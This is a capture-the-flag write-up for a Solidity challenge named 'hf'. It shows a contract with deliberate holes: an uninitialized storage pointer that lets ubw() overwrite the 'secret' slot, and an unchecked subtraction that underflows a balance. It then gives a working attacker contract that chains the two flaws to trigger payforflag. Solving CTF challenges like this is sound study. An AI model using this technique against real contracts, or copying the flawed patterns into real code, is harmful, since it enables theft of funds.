09.integer-overflow @hf
2023-06-29 15:54:40 # 02.ChainflagCTF

integer-overflow(hf)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
pragma solidity ^0.4.24;

contract hf {
address secret;
uint count;
address owner;

mapping(address => uint) public balanceOf;
mapping(address => uint) public gift;

struct node {
address nodeadress;
uint nodenumber;
}

node public node0;

event SendFlag(string b64email);

constructor()public{
owner = msg.sender;
}

function payforflag(string b64email) public {
require(balanceOf[msg.sender] >= 100000);
balanceOf[msg.sender]=0;
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}


//to fuck

modifier onlySecret() {
require(msg.sender == secret);
_;
}

function profit() public{
require(gift[msg.sender]==0);
gift[msg.sender]=1;
balanceOf[msg.sender]+=1;
}

function hfvote() public payable{
uint geteth=msg.value/1000000000000000000;
balanceOf[msg.sender]+=geteth;
}

function ubw() public payable{
if (msg.value < 2 ether)
{
node storage n = node0;
n.nodeadress=msg.sender;
n.nodenumber=1;
}
else
{
n.nodeadress=msg.sender;
n.nodenumber=2;
}
}

function fate(address to,uint value) public onlySecret {
require(balanceOf[msg.sender]-value>=0);
balanceOf[msg.sender]-=value;
balanceOf[to]+=value;
}

}

analyses

The node0 has not been initialized yet, so we can change the slot0 & underflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
interface Ihf {
function balanceOf(address) external returns(uint);
function payforflag(string b64email) public;
function ubw() public payable;
function fate(address,uint) public;
}

contract hfAttack{
Ihf public _hf;

constructor(address _addr) public{
_hf = Ihf(_addr);
}

function solve() public payable {
// The node0 has not been initialized yet, so we can change the slot0:'secret'
// msg.value should be 2 ether or more
_hf.ubw.value(msg.value)();
// the money to send can be any expect address(this)
_hf.fate(address(0), 1); // underflow
_hf.payforflag("successfully");
}

function getBalance() public view returns(uint256){
uint256 balance = _hf.balanceOf(address(this));
return balance;
}

function() external payable {} // attention!!!! solve() will revert without this!!!
}

solve